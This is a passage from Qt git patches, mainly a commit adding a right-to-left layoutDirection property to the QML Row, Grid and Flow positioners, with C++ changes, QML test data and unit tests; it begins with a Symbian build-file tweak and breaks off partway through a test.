$$PWD/browser/browser.qrc \ $$PWD/startup/startup.qrc -symbian:!contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2) { - SOURCES += $$PWD/deviceorientation_symbian.cpp - FORMS = $$PWD/recopts.ui \ - $$PWD/proxysettings.ui +symbian: { + contains(QT_CONFIG, s60): { + LIBS += -lavkon -lcone + } + !contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2) { + LIBS += -lsensrvclient -lsensrvutil + } + !contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2): { + SOURCES += $$PWD/deviceorientation_symbian.cpp + FORMS = $$PWD/recopts.ui \ + $$PWD/proxysettings.ui + } } else:maemo5 { QT += dbus HEADERS += $$PWD/texteditautoresizer_maemo5.h @@ -39,3 +47,4 @@ symbian:!contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2) { FORMS = $$PWD/recopts.ui \ $$PWD/proxysettings.ui } + diff --git a/tools/qml/qml.pro b/tools/qml/qml.pro index 9b07ebe..5d6192d 100644 --- a/tools/qml/qml.pro +++ b/tools/qml/qml.pro @@ -37,12 +37,6 @@ symbian { include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri) TARGET.EPOCHEAPSIZE = 0x20000 0x4000000 TARGET.CAPABILITY = NetworkServices ReadUserData - !contains(S60_VERSION, 3.1):!contains(S60_VERSION, 3.2) { - LIBS += -lsensrvclient -lsensrvutil - } - contains(QT_CONFIG, s60): { - LIBS += -lavkon -lcone - } # Deploy plugin for remote debugging qmldebuggingplugin.sources = $$QT_BUILD_TREE/plugins/qmldebugging/tcpserver$${QT_LIBINFIX}.dll -- cgit v0.12 From ec6a1c33a930e38cb22efd9fa268d80329745062 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Tue, 18 Jan 2011 14:52:01 +1000 Subject: Implement layoutDirection property on Row, Grid, Flow Task-number: QTBUG-11042 Reviewed-by: Joona Petrell --- .../graphicsitems/qdeclarativeitemsmodule.cpp | 3 + .../graphicsitems/qdeclarativepositioners.cpp | 214 ++++++++++-- .../graphicsitems/qdeclarativepositioners_p.h | 20 ++ .../data/flow-testimplicitsize.qml | 9 +- .../data/flowtest-toptobottom.qml | 44 +++ .../qdeclarativepositioners/data/flowtest.qml | 5 +- .../qdeclarativepositioners/data/grid-animated.qml | 5 +- .../data/grid-righttoleft.qml | 41 +++ .../data/horizontal-animated.qml | 5 +- .../data/horizontal-spacing.qml | 5 +- .../qdeclarativepositioners/data/horizontal.qml | 5 +- .../tst_qdeclarativepositioners.cpp | 380 ++++++++++++++++++++- 12 files changed, 705 insertions(+), 31 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativepositioners/data/flowtest-toptobottom.qml create mode 100644 tests/auto/declarative/qdeclarativepositioners/data/grid-righttoleft.qml diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index 529686e..32c71dd 100644 --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -182,6 +182,9 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType("QtQuick",1,1,"Flickable"); qmlRegisterType("QtQuick",1,1,"ListView"); qmlRegisterType("QtQuick",1,1,"GridView"); + qmlRegisterType("QtQuick",1,1,"Row"); + qmlRegisterType("QtQuick",1,1,"Grid"); + qmlRegisterType("QtQuick",1,1,"Flow"); qmlRegisterType("QtQuick",1,1,"Repeater"); qmlRegisterType("QtQuick",1,1,"TextEdit"); #ifndef QT_NO_LINEEDIT diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index e2a373f..c4b35a8 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -574,21 +574,55 @@ void QDeclarativeColumn::reportConflictingAnchors() \sa Grid::spacing */ QDeclarativeRow::QDeclarativeRow(QDeclarativeItem *parent) -: QDeclarativeBasePositioner(Horizontal, parent) +: QDeclarativeBasePositioner(Horizontal, parent), m_layoutDirection(Qt::LeftToRight) { } +/*! + \qmlproperty enumeration Row::layoutDirection + This property holds the layoutDirection of the row. + + Possible values: + + \list + \o Qt.LeftToRight (default) - Items are laid out from left to right. If the width of the row is explicitly set, + the left anchor remains to the left of the row. + \o Qt.RightToLeft - Items are laid out from right to left. If the width of the row is explicitly set, + the right anchor remains to the right of the row. + \endlist + + \sa Grid::layoutDirection, Flow::layoutDirection +*/ +Qt::LayoutDirection QDeclarativeRow::layoutDirection() const +{ + return m_layoutDirection; +} + +void QDeclarativeRow::setLayoutDirection(Qt::LayoutDirection layoutDirection) +{ + if (m_layoutDirection != layoutDirection) { + m_layoutDirection = layoutDirection; + prePositioning(); + emit layoutDirectionChanged(); + } +} + void QDeclarativeRow::doPositioning(QSizeF *contentSize) { int hoffset = 0; + int hoffsets[positionedItems.count()]; for (int ii = 0; ii < positionedItems.count(); ++ii) { const PositionedItem &child = positionedItems.at(ii); if (!child.item || !child.isVisible) continue; - if(child.item->x() != hoffset) - positionX(hoffset, child); + if(m_layoutDirection == Qt::LeftToRight){ + if(child.item->x() != hoffset) + positionX(hoffset, child); + }else{ + hoffsets[ii] = hoffset; + } contentSize->setHeight(qMax(contentSize->height(), QGraphicsItemPrivate::get(child.item)->height())); @@ -597,6 +631,25 @@ void QDeclarativeRow::doPositioning(QSizeF *contentSize) } contentSize->setWidth(hoffset - spacing()); + + if(m_layoutDirection == Qt::LeftToRight) + return; + + //Right to Left layout + int end = 0; + if(!widthValid()) + end = contentSize->width(); + else + end = width(); + + for (int ii = 0; ii < positionedItems.count(); ++ii) { + const PositionedItem &child = positionedItems.at(ii); + if (!child.item || !child.isVisible) + continue; + hoffset = end - hoffsets[ii] - QGraphicsItemPrivate::get(child.item)->width(); + if(child.item->x() != hoffset) + positionX(hoffset, child); + } } void QDeclarativeRow::reportConflictingAnchors() @@ -732,7 +785,7 @@ void QDeclarativeRow::reportConflictingAnchors() \sa rows, columns */ QDeclarativeGrid::QDeclarativeGrid(QDeclarativeItem *parent) : - QDeclarativeBasePositioner(Both, parent), m_rows(-1), m_columns(-1), m_flow(LeftToRight) + QDeclarativeBasePositioner(Both, parent), m_rows(-1), m_columns(-1), m_flow(LeftToRight), m_layoutDirection(Qt::LeftToRight) { } @@ -780,7 +833,7 @@ void QDeclarativeGrid::setRows(const int rows) \list \o Grid.LeftToRight (default) - Items are positioned next to - to each other from left to right, then wrapped to the next line. + each other in the \l layoutDirection, then wrapped to the next line. \o Grid.TopToBottom - Items are positioned next to each other from top to bottom, then wrapped to the next column. \endlist @@ -799,6 +852,37 @@ void QDeclarativeGrid::setFlow(Flow flow) } } +/*! + \qmlproperty enumeration Grid::layoutDirection + This property holds the layout direction of the layout. + + Possible values are: + + \list + \o Qt.LeftToRight (default) - Items are positioned beginning + from the top, left anchor. The flow direction is dependent + on the \l Grid::flow property. + \o Qt.RightToLeft - Items are positioned beginning from the + top, right anchor. The flow direction is dependent on the + \l Grid::flow property. + \endlist + + \sa Flow::layoutDirection, Row::layoutDirection +*/ +Qt::LayoutDirection QDeclarativeGrid::layoutDirection() const +{ + return m_layoutDirection; +} + +void QDeclarativeGrid::setLayoutDirection(Qt::LayoutDirection layoutDirection) +{ + if (m_layoutDirection != layoutDirection) { + m_layoutDirection = layoutDirection; + prePositioning(); + emit layoutDirectionChanged(); + } +} + void QDeclarativeGrid::doPositioning(QSizeF *contentSize) { @@ -864,40 +948,71 @@ void QDeclarativeGrid::doPositioning(QSizeF *contentSize) } } + int widthSum = 0; + for(int j=0; j < c; j++){ + if(j) + widthSum += spacing(); + widthSum += maxColWidth[j]; + } + + int heightSum = 0; + for(int i=0; i < r; i++){ + if(i) + heightSum += spacing(); + heightSum += maxRowHeight[i]; + } + + contentSize->setHeight(heightSum); + contentSize->setWidth(widthSum); + + int end = 0; + if(widthValid()) + end = width(); + else + end = widthSum; + int xoffset=0; + if(m_layoutDirection == Qt::RightToLeft) + xoffset=end; int yoffset=0; int curRow =0; int curCol =0; for (int i = 0; i < visibleItems.count(); ++i) { const PositionedItem &child = visibleItems.at(i); - if((child.item->x()!=xoffset)||(child.item->y()!=yoffset)){ - positionX(xoffset, child); + int childXOffset = xoffset; + if(m_layoutDirection == Qt::RightToLeft) + childXOffset -= QGraphicsItemPrivate::get(child.item)->width(); + if((child.item->x()!=childXOffset)||(child.item->y()!=yoffset)){ + positionX(childXOffset, child); positionY(yoffset, child); } if (m_flow == LeftToRight) { - contentSize->setWidth(qMax(contentSize->width(), xoffset + QGraphicsItemPrivate::get(child.item)->width())); - contentSize->setHeight(yoffset + maxRowHeight[curRow]); - - xoffset+=maxColWidth[curCol]+spacing(); + if(m_layoutDirection == Qt::LeftToRight) + xoffset+=maxColWidth[curCol]+spacing(); + else + xoffset-=maxColWidth[curCol]+spacing(); curCol++; curCol%=c; if (!curCol){ yoffset+=maxRowHeight[curRow]+spacing(); - xoffset=0; + if(m_layoutDirection == Qt::LeftToRight) + xoffset=0; + else + xoffset=end; curRow++; if (curRow>=r) break; } } else { - contentSize->setHeight(qMax(contentSize->height(), yoffset + QGraphicsItemPrivate::get(child.item)->height())); - contentSize->setWidth(xoffset + maxColWidth[curCol]); - yoffset+=maxRowHeight[curRow]+spacing(); curRow++; curRow%=r; if (!curRow){ - xoffset+=maxColWidth[curCol]+spacing(); + if(m_layoutDirection == Qt::LeftToRight) + xoffset+=maxColWidth[curCol]+spacing(); + else + xoffset-=maxColWidth[curCol]+spacing(); yoffset=0; curCol++; if (curCol>=c) @@ -1029,10 +1144,12 @@ class QDeclarativeFlowPrivate : public QDeclarativeBasePositionerPrivate public: QDeclarativeFlowPrivate() - : QDeclarativeBasePositionerPrivate(), flow(QDeclarativeFlow::LeftToRight) + : QDeclarativeBasePositionerPrivate(), flow(QDeclarativeFlow::LeftToRight), + layoutDirection(Qt::LeftToRight) {} QDeclarativeFlow::Flow flow; + Qt::LayoutDirection layoutDirection; }; QDeclarativeFlow::QDeclarativeFlow(QDeclarativeItem *parent) @@ -1051,7 +1168,7 @@ QDeclarativeFlow::QDeclarativeFlow(QDeclarativeItem *parent) \list \o Flow.LeftToRight (default) - Items are positioned next to - to each other from left to right until the width of the Flow + to each other according to the \l layoutDirection until the width of the Flow is exceeded, then wrapped to the next line. \o Flow.TopToBottom - Items are positioned next to each other from top to bottom until the height of the Flow is exceeded, @@ -1074,6 +1191,39 @@ void QDeclarativeFlow::setFlow(Flow flow) } } +/*! + \qmlproperty enumeration Flow::layoutDirection + This property holds the layout direction of the layout. + + Possible values are: + + \list + \o Qt.LeftToRight (default) - Items are positioned beginning + from the top, left anchor. The flow direction is dependent + on the \l Flow::flow property. + \o Qt.RightToLeft - Items are positioned beginning from the + top, right anchor. The flow direction is dependent on the + \l Flow::flow property. + \endlist + + \sa Grid::layoutDirection, Row::layoutDirection +*/ +Qt::LayoutDirection QDeclarativeFlow::layoutDirection() const +{ + Q_D(const QDeclarativeFlow); + return d->layoutDirection; +} + +void QDeclarativeFlow::setLayoutDirection(Qt::LayoutDirection layoutDirection) +{ + Q_D(QDeclarativeFlow); + if (d->layoutDirection != layoutDirection) { + d->layoutDirection = layoutDirection; + prePositioning(); + emit layoutDirectionChanged(); + } +} + void QDeclarativeFlow::doPositioning(QSizeF *contentSize) { Q_D(QDeclarativeFlow); @@ -1081,6 +1231,7 @@ void QDeclarativeFlow::doPositioning(QSizeF *contentSize) int hoffset = 0; int voffset = 0; int linemax = 0; + int hoffsets[positionedItems.count()]; for (int i = 0; i < positionedItems.count(); ++i) { const PositionedItem &child = positionedItems.at(i); @@ -1102,10 +1253,14 @@ void QDeclarativeFlow::doPositioning(QSizeF *contentSize) } } - if(child.item->x() != hoffset || child.item->y() != voffset){ - positionX(hoffset, child); - positionY(voffset, child); + if(d->layoutDirection == Qt::LeftToRight){ + if(child.item->x() != hoffset) + positionX(hoffset, child); + }else{ + hoffsets[i] = hoffset; } + if(child.item->y() != voffset) + positionY(voffset, child); contentSize->setWidth(qMax(contentSize->width(), hoffset + childPrivate->width())); contentSize->setHeight(qMax(contentSize->height(), voffset + childPrivate->height())); @@ -1120,6 +1275,23 @@ void QDeclarativeFlow::doPositioning(QSizeF *contentSize) linemax = qMax(linemax, qCeil(childPrivate->width())); } } + + if(d->layoutDirection == Qt::LeftToRight) + return; + + int end; + if(widthValid()) + end = width(); + else + end = contentSize->width(); + for (int i = 0; i < positionedItems.count(); ++i) { + const PositionedItem &child = positionedItems.at(i); + if (!child.item || !child.isVisible) + continue; + hoffset = end - hoffsets[i] - QGraphicsItemPrivate::get(child.item)->width(); + if(child.item->x() != hoffset) + positionX(hoffset, child); + } } void QDeclarativeFlow::reportConflictingAnchors() diff --git a/src/declarative/graphicsitems/qdeclarativepositioners_p.h b/src/declarative/graphicsitems/qdeclarativepositioners_p.h index d3ae926..e3358fa 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners_p.h +++ b/src/declarative/graphicsitems/qdeclarativepositioners_p.h @@ -129,12 +129,21 @@ private: class Q_AUTOTEST_EXPORT QDeclarativeRow: public QDeclarativeBasePositioner { Q_OBJECT + Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1); public: QDeclarativeRow(QDeclarativeItem *parent=0); + + Qt::LayoutDirection layoutDirection() const; + void setLayoutDirection (Qt::LayoutDirection); + +Q_SIGNALS: + Q_REVISION(1) void layoutDirectionChanged(); + protected: virtual void doPositioning(QSizeF *contentSize); virtual void reportConflictingAnchors(); private: + Qt::LayoutDirection m_layoutDirection; Q_DISABLE_COPY(QDeclarativeRow) }; @@ -144,6 +153,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeGrid : public QDeclarativeBasePositioner Q_PROPERTY(int rows READ rows WRITE setRows NOTIFY rowsChanged) Q_PROPERTY(int columns READ columns WRITE setColumns NOTIFY columnsChanged) Q_PROPERTY(Flow flow READ flow WRITE setFlow NOTIFY flowChanged) + Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1); public: QDeclarativeGrid(QDeclarativeItem *parent=0); @@ -159,10 +169,14 @@ public: Flow flow() const; void setFlow(Flow); + Qt::LayoutDirection layoutDirection() const; + void setLayoutDirection (Qt::LayoutDirection); + Q_SIGNALS: void rowsChanged(); void columnsChanged(); void flowChanged(); + Q_REVISION(1) void layoutDirectionChanged(); protected: virtual void doPositioning(QSizeF *contentSize); @@ -172,6 +186,7 @@ private: int m_rows; int m_columns; Flow m_flow; + Qt::LayoutDirection m_layoutDirection; Q_DISABLE_COPY(QDeclarativeGrid) }; @@ -179,6 +194,7 @@ class QDeclarativeFlowPrivate; class Q_AUTOTEST_EXPORT QDeclarativeFlow: public QDeclarativeBasePositioner { Q_OBJECT + Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1); Q_PROPERTY(Flow flow READ flow WRITE setFlow NOTIFY flowChanged) public: QDeclarativeFlow(QDeclarativeItem *parent=0); @@ -188,8 +204,12 @@ public: Flow flow() const; void setFlow(Flow); + Qt::LayoutDirection layoutDirection() const; + void setLayoutDirection (Qt::LayoutDirection); + Q_SIGNALS: void flowChanged(); + Q_REVISION(1) void layoutDirectionChanged(); protected: virtual void doPositioning(QSizeF *contentSize); diff --git a/tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml b/tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml index 51c8134..ee4e104 100644 --- a/tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml +++ b/tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml @@ -1,16 +1,19 @@ -import QtQuick 1.0 +import QtQuick 1.1 Rectangle { width: 300; height: 200; - property bool leftToRight: false + property int flowLayout: 1 Flow { objectName: "flow" - flow: leftToRight ? Flow.LeftToRight : Flow.TopToBottom + layoutDirection: (flowLayout == 2) ? Qt.RightToLeft : Qt.LeftToRight + flow: (flowLayout == 1) ? Flow.TopToBottom : Flow.LeftToRight; + spacing: 20 anchors.horizontalCenter: parent.horizontalCenter Rectangle { color: "red"; width: 100; height: 50 } Rectangle { color: "blue"; width: 100; height: 50 } } } + diff --git a/tests/auto/declarative/qdeclarativepositioners/data/flowtest-toptobottom.qml b/tests/auto/declarative/qdeclarativepositioners/data/flowtest-toptobottom.qml new file mode 100644 index 0000000..ec1d666 --- /dev/null +++ b/tests/auto/declarative/qdeclarativepositioners/data/flowtest-toptobottom.qml @@ -0,0 +1,44 @@ +import QtQuick 1.1 + +Item { + height: 90 + width: 480 + property bool testRightToLeft: false + + Flow { + objectName: "flow" + height: parent.height + layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight + flow: Flow.TopToBottom + Rectangle { + objectName: "one" + color: "red" + width: 50 + height: 50 + } + Rectangle { + objectName: "two" + color: "green" + width: 20 + height: 50 + } + Rectangle { + objectName: "three" + color: "blue" + width: 50 + height: 20 + } + Rectangle { + objectName: "four" + color: "cyan" + width: 50 + height: 50 + } + Rectangle { + objectName: "five" + color: "magenta" + width: 10 + height: 10 + } + } +} diff --git a/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml b/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml index 2810234..7c124a3 100644 --- a/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml +++ b/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml @@ -1,11 +1,14 @@ -import QtQuick 1.0 +import QtQuick 1.1 Item { width: 90 height: 480 + property bool testRightToLeft: false + Flow { objectName: "flow" width: parent.width + layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight Rectangle { objectName: "one" color: "red" diff --git a/tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml b/tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml index e13f078..3dcbed1 100644 --- a/tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml +++ b/tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml @@ -1,11 +1,14 @@ -import QtQuick 1.0 +import QtQuick 1.1 Item { width: 640 height: 480 + property bool testRightToLeft: true + Grid { objectName: "grid" columns: 3 + layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight add: Transition { NumberAnimation { properties: "x,y"; diff --git a/tests/auto/declarative/qdeclarativepositioners/data/grid-righttoleft.qml b/tests/auto/declarative/qdeclarativepositioners/data/grid-righttoleft.qml new file mode 100644 index 0000000..0ec1f37 --- /dev/null +++ b/tests/auto/declarative/qdeclarativepositioners/data/grid-righttoleft.qml @@ -0,0 +1,41 @@ +import QtQuick 1.1 + +Item { + width: 640 + height: 480 + Grid { + objectName: "grid" + columns: 3 + layoutDirection: Qt.RightToLeft + Rectangle { + objectName: "one" + color: "red" + width: 50 + height: 50 + } + Rectangle { + objectName: "two" + color: "green" + width: 20 + height: 50 + } + Rectangle { + objectName: "three" + color: "blue" + width: 50 + height: 20 + } + Rectangle { + objectName: "four" + color: "cyan" + width: 50 + height: 50 + } + Rectangle { + objectName: "five" + color: "magenta" + width: 10 + height: 10 + } + } +} diff --git a/tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml index 5b064cd..3c95f53 100644 --- a/tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml +++ b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml @@ -1,10 +1,13 @@ -import QtQuick 1.0 +import QtQuick 1.1 Item { width: 640 height: 480 + property bool testRightToLeft: false + Row { objectName: "row" + layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight add: Transition { NumberAnimation { properties: "x"; diff --git a/tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml index 2b46bca..64bedb0 100644 --- a/tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml +++ b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml @@ -1,11 +1,14 @@ -import QtQuick 1.0 +import QtQuick 1.1 Item { width: 640 height: 480 + property bool testRightToLeft: false + Row { objectName: "row" spacing: 10 + layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight Rectangle { objectName: "one" color: "red" diff --git a/tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml b/tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml index 919cecc..e1a9652 100644 --- a/tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml +++ b/tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml @@ -1,10 +1,13 @@ -import QtQuick 1.0 +import QtQuick 1.1 Item { width: 640 height: 480 + property bool testRightToLeft: false + Row { objectName: "row" + layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight Rectangle { objectName: "one" color: "red" diff --git a/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp b/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp index 254349f..cdf6933 100644 --- a/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp +++ b/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp @@ -62,20 +62,28 @@ public: private slots: void test_horizontal(); + void test_horizontal_rtl(); void test_horizontal_spacing(); + void test_horizontal_spacing_rightToLeft(); void test_horizontal_animated(); + void test_horizontal_animated_rightToLeft(); void test_vertical(); void test_vertical_spacing(); void test_vertical_animated(); void test_grid(); void test_grid_topToBottom(); + void test_grid_rightToLeft(); void test_grid_spacing(); void test_grid_animated(); + void test_grid_animated_rightToLeft(); void test_grid_zero_columns(); void test_propertychanges(); void test_repeater(); void test_flow(); + void test_flow_rightToLeft(); + void test_flow_topToBottom(); void test_flow_resize(); + void test_flow_resize_rightToLeft(); void test_flow_implicit_resize(); void test_conflictinganchors(); void test_vertical_qgraphicswidget(); @@ -91,6 +99,8 @@ void tst_QDeclarativePositioners::test_horizontal() { QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal.qml"); + canvas->rootObject()->setProperty("testRightToLeft", false); + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); QVERIFY(one != 0); @@ -114,10 +124,41 @@ void tst_QDeclarativePositioners::test_horizontal() delete canvas; } +void tst_QDeclarativePositioners::test_horizontal_rtl() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal.qml"); + + canvas->rootObject()->setProperty("testRightToLeft", true); + + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); + QVERIFY(one != 0); + + QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); + QVERIFY(two != 0); + + QDeclarativeRectangle *three = canvas->rootObject()->findChild("three"); + QVERIFY(three != 0); + + QCOMPARE(one->x(), 60.0); + QCOMPARE(one->y(), 0.0); + QCOMPARE(two->x(), 40.0); + QCOMPARE(two->y(), 0.0); + QCOMPARE(three->x(), 0.0); + QCOMPARE(three->y(), 0.0); + + QDeclarativeItem *row = canvas->rootObject()->findChild("row"); + QCOMPARE(row->width(), 110.0); + QCOMPARE(row->height(), 50.0); + + delete canvas; +} + void tst_QDeclarativePositioners::test_horizontal_spacing() { QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-spacing.qml"); + canvas->rootObject()->setProperty("testRightToLeft", false); + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); QVERIFY(one != 0); @@ -141,10 +182,41 @@ void tst_QDeclarativePositioners::test_horizontal_spacing() delete canvas; } +void tst_QDeclarativePositioners::test_horizontal_spacing_rightToLeft() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-spacing.qml"); + + canvas->rootObject()->setProperty("testRightToLeft", true); + + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); + QVERIFY(one != 0); + + QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); + QVERIFY(two != 0); + + QDeclarativeRectangle *three = canvas->rootObject()->findChild("three"); + QVERIFY(three != 0); + + QCOMPARE(one->x(), 80.0); + QCOMPARE(one->y(), 0.0); + QCOMPARE(two->x(), 50.0); + QCOMPARE(two->y(), 0.0); + QCOMPARE(three->x(), 00.0); + QCOMPARE(three->y(), 0.0); + + QDeclarativeItem *row = canvas->rootObject()->findChild("row"); + QCOMPARE(row->width(), 130.0); + QCOMPARE(row->height(), 50.0); + + delete canvas; +} + void tst_QDeclarativePositioners::test_horizontal_animated() { QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-animated.qml"); + canvas->rootObject()->setProperty("testRightToLeft", false); + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); QVERIFY(one != 0); @@ -193,6 +265,60 @@ void tst_QDeclarativePositioners::test_horizontal_animated() delete canvas; } +void tst_QDeclarativePositioners::test_horizontal_animated_rightToLeft() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-animated.qml"); + + canvas->rootObject()->setProperty("testRightToLeft", true); + + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); + QVERIFY(one != 0); + + QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); + QVERIFY(two != 0); + + QDeclarativeRectangle *three = canvas->rootObject()->findChild("three"); + QVERIFY(three != 0); + + //Note that they animate in + QCOMPARE(one->x(), -100.0); + QCOMPARE(two->x(), -100.0); + QCOMPARE(three->x(), -100.0); + + QDeclarativeItem *row = canvas->rootObject()->findChild("row"); + QVERIFY(row); + QCOMPARE(row->width(), 100.0); + QCOMPARE(row->height(), 50.0); + + //QTRY_COMPARE used instead of waiting for the expected time of animation completion + //Note that this means the duration of the animation is NOT tested + + QTRY_COMPARE(one->x(), 50.0); + QTRY_COMPARE(one->y(), 0.0); + QTRY_COMPARE(two->opacity(), 0.0); + QTRY_COMPARE(two->x(), -100.0);//Not 'in' yet + QTRY_COMPARE(two->y(), 0.0); + QTRY_COMPARE(three->x(), 0.0); + QTRY_COMPARE(three->y(), 0.0); + + //Add 'two' + two->setOpacity(1.0); + QCOMPARE(two->opacity(), 1.0); + + // New size should be immediate + QCOMPARE(row->width(), 150.0); + QCOMPARE(row->height(), 50.0); + + QTest::qWait(0);//Let the animation start + QCOMPARE(one->x(), 50.0); + QCOMPARE(two->x(), -100.0); + + QTRY_COMPARE(one->x(), 100.0); + QTRY_COMPARE(two->x(), 50.0); + + delete canvas; +} + void tst_QDeclarativePositioners::test_vertical() { QDeclarativeView *canvas = createView(SRCDIR "/data/vertical.qml"); @@ -364,6 +490,40 @@ void tst_QDeclarativePositioners::test_grid_topToBottom() delete canvas; } +void tst_QDeclarativePositioners::test_grid_rightToLeft() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/grid-righttoleft.qml"); + + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); + QVERIFY(one != 0); + QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); + QVERIFY(two != 0); + QDeclarativeRectangle *three = canvas->rootObject()->findChild("three"); + QVERIFY(three != 0); + QDeclarativeRectangle *four = canvas->rootObject()->findChild("four"); + QVERIFY(four != 0); + QDeclarativeRectangle *five = canvas->rootObject()->findChild("five"); + QVERIFY(five != 0); + + QCOMPARE(one->x(), 70.0); + QCOMPARE(one->y(), 0.0); + QCOMPARE(two->x(), 50.0); + QCOMPARE(two->y(), 0.0); + QCOMPARE(three->x(), 0.0); + QCOMPARE(three->y(), 0.0); + QCOMPARE(four->x(), 70.0); + QCOMPARE(four->y(), 50.0); + QCOMPARE(five->x(), 60.0); + QCOMPARE(five->y(), 50.0); + + QDeclarativeGrid *grid = canvas->rootObject()->findChild("grid"); + QCOMPARE(grid->layoutDirection(), Qt::RightToLeft); + QCOMPARE(grid->width(), 120.0); + QCOMPARE(grid->height(), 100.0); + + delete canvas; +} + void tst_QDeclarativePositioners::test_grid_spacing() { QDeclarativeView *canvas = createView(SRCDIR "/data/grid-spacing.qml"); @@ -401,6 +561,8 @@ void tst_QDeclarativePositioners::test_grid_animated() { QDeclarativeView *canvas = createView(SRCDIR "/data/grid-animated.qml"); + canvas->rootObject()->setProperty("testRightToLeft", false); + //Note that all animate in QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); QVERIFY(one != 0); @@ -478,6 +640,89 @@ void tst_QDeclarativePositioners::test_grid_animated() delete canvas; } +void tst_QDeclarativePositioners::test_grid_animated_rightToLeft() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/grid-animated.qml"); + + canvas->rootObject()->setProperty("testRightToLeft", true); + + //Note that all animate in + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); + QVERIFY(one != 0); + QCOMPARE(one->x(), -100.0); + QCOMPARE(one->y(), -100.0); + + QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); + QVERIFY(two != 0); + QCOMPARE(two->x(), -100.0); + QCOMPARE(two->y(), -100.0); + + QDeclarativeRectangle *three = canvas->rootObject()->findChild("three"); + QVERIFY(three != 0); + QCOMPARE(three->x(), -100.0); + QCOMPARE(three->y(), -100.0); + + QDeclarativeRectangle *four = canvas->rootObject()->findChild("four"); + QVERIFY(four != 0); + QCOMPARE(four->x(), -100.0); + QCOMPARE(four->y(), -100.0); + + QDeclarativeRectangle *five = canvas->rootObject()->findChild("five"); + QVERIFY(five != 0); + QCOMPARE(five->x(), -100.0); + QCOMPARE(five->y(), -100.0); + + QDeclarativeItem *grid = canvas->rootObject()->findChild("grid"); + QVERIFY(grid); + QCOMPARE(grid->width(), 150.0); + 